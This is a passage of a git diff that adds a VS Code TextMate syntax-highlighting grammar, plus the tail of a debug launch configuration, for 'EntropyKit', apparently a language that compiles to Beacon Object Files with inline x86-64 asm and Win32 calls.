artifact you didn't produce locally. Artifacts default to /bin/.", + "body": { + "type": "entropykit", + "request": "launch", + "name": "EntropyKit: prebuilt BOF", + "program": "^\"\\${fileDirname}/bin/\\${fileBasenameNoExtension}.x64.o\"", + "stopOnEntry": true, + "args": ["--zarg", "hello"] + } + } + ] + } + ] + } +} diff --git a/tools/vscode-entropykit/syntaxes/entropykit.tmLanguage.json b/tools/vscode-entropykit/syntaxes/entropykit.tmLanguage.json new file mode 100644 index 0000000..c364705 --- /dev/null +++ b/tools/vscode-entropykit/syntaxes/entropykit.tmLanguage.json @@ -0,0 +1,408 @@ +{ + "$schema": "https://raw.githubusercontent.com/martinring/tmlanguage/master/tmlanguage.json", + "name": "EntropyKit", + "scopeName": "source.entropykit", + "patterns": [ + { "include": "#comments" }, + { "include": "#attributes" }, + { "include": "#use-c-line" }, + { "include": "#use-line" }, + { "include": "#fn-declaration" }, + { "include": "#struct-declaration" }, + { "include": "#static-declaration" }, + { "include": "#var-declaration" }, + { "include": "#asm-block" }, + { "include": "#keywords" }, + { "include": "#types" }, + { "include": "#constants" }, + { "include": "#namespaced-calls" }, + { "include": "#sizeof-expr" }, + { "include": "#strings" }, + { "include": "#numbers" }, + { "include": "#operators" } + ], + + "repository": { + "comments": { + "patterns": [ + { + "name": "comment.line.double-slash.entropykit", + "match": "//.*$" + }, + { + "name": "comment.block.entropykit", + "begin": "/\\*", + "end": "\\*/" + } + ] + }, + + "attributes": { + "comment": "Function attributes: [Override(Slot)], [Hook(\"USER32$MessageBoxA\")], [NoHook], [NoHook(\"Name\")].", + "begin": "(\\[)\\s*([A-Z][A-Za-z0-9_]*)", + "beginCaptures": { + "1": { "name": "punctuation.section.brackets.begin.entropykit" }, + "2": { "name": "entity.name.tag.attribute.entropykit" } + }, + "end": "(\\])", + "endCaptures": { + "1": { "name": "punctuation.section.brackets.end.entropykit" } + }, + "patterns": [ + { + "comment": "String-literal argument - Hook(\"NAME\") / NoHook(\"NAME\"). Allowed chars include `$` (Win32 import form), `_`, alphanumeric.", + "begin": "\\(\\s*(\")", + "beginCaptures": { + "1": { "name": "string.quoted.double.attribute.entropykit" } + }, + "end": "(\")\\s*\\)", + "endCaptures": { + "1": { "name": "string.quoted.double.attribute.entropykit" } + }, + "patterns": [ + { + "name": "string.quoted.double.attribute.entropykit", + "match": "[^\"]+" + } + ] + }, + { + "comment": "Identifier argument - Override(Slot).", + "match": "\\(\\s*([A-Za-z_][A-Za-z0-9_]*)\\s*\\)", + "captures": { + "1": { "name": "variable.parameter.attribute.entropykit" } + } + } + ] + }, + + "use-c-line": { + "begin": "\\b(use_c)\\b", + "beginCaptures": { + "1": { "name": "keyword.control.import.entropykit" } + }, + "end": ";", + "endCaptures": { + "0": { "name": "punctuation.terminator.statement.entropykit" } + }, + "patterns": [ + { "include": "#strings" } + ] + }, + + "use-line": { + "comment": "`use bof;` (bareword) or `use \"path/lib.etpy\";` - both forms accepted.", + "begin": "\\b(use)\\b", + "beginCaptures": { + "1": { "name": "keyword.control.import.entropykit" } + }, + "end": ";", + "endCaptures": { + "0": { "name": "punctuation.terminator.statement.entropykit" } + }, + "patterns": [ + { "include": "#strings" }, + { + "comment": "Bareword stdlib name - `use bof;` resolves to stdlib/bof.etpy.", + "name": "entity.name.namespace.entropykit", + "match": "\\b[A-Za-z_][A-Za-z0-9_]*\\b" + } + ] + }, + + "fn-declaration": { + "comment": "Both `fn name(...)` and `extern fn name(...)` - the latter declares a forward-only signature with no body.", + "match": "\\b(extern\\s+)?(fn)\\s+([A-Za-z_][A-Za-z0-9_]*)", + "captures": { + "1": { "name": "storage.modifier.extern.entropykit" }, + "2": { "name": "storage.type.function.entropykit" }, + "3": { "name": "entity.name.function.entropykit" } + } + }, + + "struct-declaration": { + "match": "\\b(struct)\\s+([A-Za-z_][A-Za-z0-9_]*)", + "captures": { + "1": { "name": "storage.type.struct.entropykit" }, + "2": { "name": "entity.name.type.struct.entropykit" } + } + }, + + "static-declaration": { + "match": "\\b(static)\\s+([A-Za-z_][A-Za-z0-9_]*)", + "captures": { + "1": { "name": "storage.modifier.entropykit" }, + "2": { "name": "variable.other.global.entropykit" } + } + }, + + "var-declaration": { + "match": "\\b(var)\\s+([A-Za-z_][A-Za-z0-9_]*)", + "captures": { + "1": { "name": "storage.type.var.entropykit" }, + "2": { "name": "variable.other.local.entropykit" } + } + }, + + "asm-block": { + "comment": "Inline assembly block - recognised mnemonics, registers, %symbol references, memory operands `[reg + disp]`, asm-local labels `name:`, and `db` raw-byte escape.", + "begin": "\\b(asm)\\b\\s*(\\{)", + "beginCaptures": { + "1": { "name": "keyword.other.asm.entropykit" }, + "2": { "name": "punctuation.section.block.begin.entropykit" } + }, + "end": "(\\})", + "endCaptures": { + "1": { "name": "punctuation.section.block.end.entropykit" } + }, + "patterns": [ + { "include": "#comments" }, + { + "comment": "Asm-local label declaration - `name:` on its own line.", + "match": "^\\s*([A-Za-z_][A-Za-z0-9_]*)\\s*(:)", + "captures": { + "1": { "name": "entity.name.label.asm.entropykit" }, + "2": { "name": "punctuation.separator.label.entropykit" } + } + }, + { + "comment": "All recognised mnemonics, grouped by family:\n control flow - call, jmp, jcc family, ret, syscall, int3\n data movement - mov, lea, push, pop\n arithmetic - add, sub, inc, dec, neg\n logical - xor, and, or, not\n compare - cmp, test\n misc - nop, cld, db", + "name": "keyword.other.asm.mnemonic.entropykit", + "match": "\\b(mov|lea|push|pop|add|sub|inc|dec|neg|xor|and|or|not|cmp|test|call|jmp|je|jne|jz|jnz|jl|jg|jle|jge|jb|ja|jbe|jae|ret|nop|syscall|int3|cld|db)\\b" + }, + { + "comment": "%symbol - explicit reference to a local, parameter, static, or local function. Resolved at codegen.", + "match": "(%)([A-Za-z_][A-Za-z0-9_]*)", + "captures": { + "1": { "name": "punctuation.definition.variable.entropykit" }, + "2": { "name": "variable.other.asm-symbol.entropykit" } + } + }, + { + "comment": "x86-64 general-purpose registers.", + "name": "variable.language.register.entropykit", + "match": "\\b(rax|rbx|rcx|rdx|rsi|rdi|rsp|rbp|r8|r9|r10|r11|r12|r13|r14|r15|rip|rflags)\\b" + }, + { + "comment": "Memory operand brackets - `[ ... ]`. Inside, register names and numbers keep their normal colours.", + "begin": "(\\[)", + "beginCaptures": { + "1": { "name": "punctuation.section.brackets.begin.asm.entropykit" } + }, + "end": "(\\])", + "endCaptures": { + "1": { "name": "punctuation.section.brackets.end.asm.entropykit" } + }, + "patterns": [ + { + "match": "(%)([A-Za-z_][A-Za-z0-9_]*)", + "captures": { + "1": { "name": "punctuation.definition.variable.entropykit" }, + "2": { "name": "variable.other.asm-symbol.entropykit" } + } + }, + { + "name": "variable.language.register.entropykit", + "match": "\\b(rax|rbx|rcx|rdx|rsi|rdi|rsp|rbp|r8|r9|r10|r11|r12|r13|r14|r15|rip)\\b" + }, + { + "name": "keyword.operator.asm.entropykit", + "match": "[+\\-*]" + }, + { "include": "#numbers" } + ] + }, + { "include": "#numbers" }, + { + "comment": "Bare identifier inside asm body - falls through to either an asm-local label reference (jump target) or an implicit symbol.", + "name": "variable.other.asm-ident.entropykit", + "match": "\\b[A-Za-z_][A-Za-z0-9_]*\\b" + }, + { + "comment": "Operand separator.", + "name": "punctuation.separator.comma.entropykit", + "match": "," + } + ] + }, + + "keywords": { + "patterns": [ + { + "name": "keyword.control.flow.entropykit", + "match": "\\b(if|else|while|for|break|continue|ret|try|catch|raise)\\b" + }, + { + "name": "keyword.control.entropykit", + "match": "\\b(fn|var|static|struct|use_c|use|macro|extern)\\b" + }, + { + "name": "keyword.operator.sizeof.entropykit", + "match": "\\b(sizeof)\\b" + } + ] + }, + + "types": { + "patterns": [ + { + "comment": "Built-in scalar types plus `void`/`char` introduced for BOF/Win32 interop.", + "name": "storage.type.primitive.entropykit", + "match": "\\b(int|str|wstr|bool|void|char|i8|i16|i32|i64|u8|u16|u32|u64)\\b" + }, + { + "comment": "User-declared struct types - capitalised idents in type position (after `:`, `,`, `(`, or `->`).", + "match": "(?<=[:,(]\\s*|->\\s*)([A-Z][A-Za-z0-9_]*)(\\*+)?", + "captures": { + "1": { "name": "entity.name.type.entropykit" }, + "2": { "name": "storage.modifier.pointer.entropykit" } + } + } + ] + }, + + "constants": { + "patterns": [ + { + "name": "constant.language.boolean.entropykit", + "match": "\\b(true|false)\\b" + } + ] + }, + + "namespaced-calls": { + "patterns": [ + { + "comment": "Intrinsic namespaces (mem, gc, shared, str, opsec) - always lowercase.", + "match": "\\b(mem|gc|shared|str|opsec)\\s*(\\.|->)\\s*([A-Za-z_][A-Za-z0-9_]*)\\s*(?=\\()", + "captures": { + "1": { "name": "support.class.intrinsic.entropykit" }, + "2": { "name": "punctuation.accessor.entropykit" }, + "3": { "name": "support.function.intrinsic.entropykit" } + } + }, + { + "comment": "Win32 namespaced call: User32.MessageBoxA(...). Capitalised prefix = DLL.", + "match": "\\b([A-Z][A-Za-z0-9_]*)\\s*(\\.|->)\\s*([A-Za-z_][A-Za-z0-9_]*)\\s*(?=\\()", + "captures": { + "1": { "name": "support.class.dll.entropykit" }, + "2": { "name": "punctuation.accessor.entropykit" }, + "3": { "name": "support.function.win32.entropykit" } + } + }, + { + "comment": "Plain field access: identifier.field (not followed by `(`).", + "match": "([A-Za-z_][A-Za-z0-9_]*)\\s*(\\.|->)\\s*([A-Za-z_][A-Za-z0-9_]*)", + "captures": { + "1": { "name": "variable.other.entropykit" }, + "2": { "name": "punctuation.accessor.entropykit" }, + "3": { "name": "variable.other.property.entropykit" } + } + }, + { + "comment": "Local function call: name(...).", + "match": "\\b([A-Za-z_][A-Za-z0-9_]*)\\s*(?=\\()", + "captures": { + "1": { "name": "entity.name.function.call.entropykit" } + } + } + ] + }, + + "sizeof-expr": { + "match": "\\b(sizeof)\\s*\\(\\s*([A-Za-z_][A-Za-z0-9_]*)\\s*(\\*+)?\\s*\\)", + "captures": { + "1": { "name": "keyword.operator.sizeof.entropykit" }, + "2": { "name": "entity.name.type.entropykit" }, + "3": { "name": "storage.modifier.pointer.entropykit" } + } + }, + + "strings": { + "name": "string.quoted.double.entropykit", + "begin": "\"", + "end": "\"", + "patterns": [ + { + "name": "constant.character.escape.entropykit", + "match": "\\\\([nrt0\\\\\"'])" + }, + { + "comment": "str.format placeholders {}, {d}, {x}, {X}, {u}, {s}, {p} and {{ / }} escapes.", + "name": "constant.other.placeholder.entropykit", + "match": "\\{\\{|\\}\\}|\\{[dxXusp]?\\}" + } + ] + }, + + "numbers": { + "patterns": [ + { + "name": "constant.numeric.hex.entropykit", + "match": "\\b0[xX][0-9A-Fa-f]+\\b" + }, + { + "name": "constant.numeric.decimal.entropykit", + "match": "\\b[0-9]+\\b" + } + ] + }, + + "operators": { + "comment": "Order matters here - match longer/more-specific operators first.", + "patterns": [ + { + "comment": "Compound shift assigns: <<= >>=.", + "name": "keyword.operator.assignment.compound.entropykit", + "match": "(<<=|>>=)" + }, + { + "comment": "Compound arithmetic / bitwise assigns: += -= *= /= %= &= |= ^=.", + "name": "keyword.operator.assignment.compound.entropykit", + "match": "(\\+=|-=|\\*=|/=|%=|&=|\\|=|\\^=)" + }, + { + "name": "keyword.operator.increment.entropykit", + "match": "(\\+\\+|--)" + }, + { + "name": "keyword.operator.arrow.entropykit", + "match": "->" + }, + { + "comment": "Equality + relational comparisons.", + "name": "keyword.operator.comparison.entropykit", + "match": "(==|!=|<=|>=|<|>)" + }, + { + "comment": "Logical operators.", + "name": "keyword.operator.logical.entropykit", + "match": "(&&|\\|\\||!)" + }, + { + "comment": "Bitwise shifts - must match before single `<`/`>`.", + "name": "keyword.operator.bitwise.entropykit", + "match": "(<<|>>)" + }, + { + "comment": "Bitwise operators (|, ^, ~). `&` and `*` are handled separately because they double as pointer ops.", + "name": "keyword.operator.bitwise.entropykit", + "match": "(\\||\\^|~)" + }, + { + "name": "keyword.operator.arithmetic.entropykit", + "match": "(\\+|-|/|%)" + }, + { + "comment": "`&` is bitwise-AND or address-of; `*` is multiplication or pointer-deref. Position disambiguates.", + "name": "keyword.operator.pointer.entropykit", + "match": "(&|\\*)" + }, + { + "name": "keyword.operator.assignment.entropykit", + "match": "=" + } + ] + } + } +}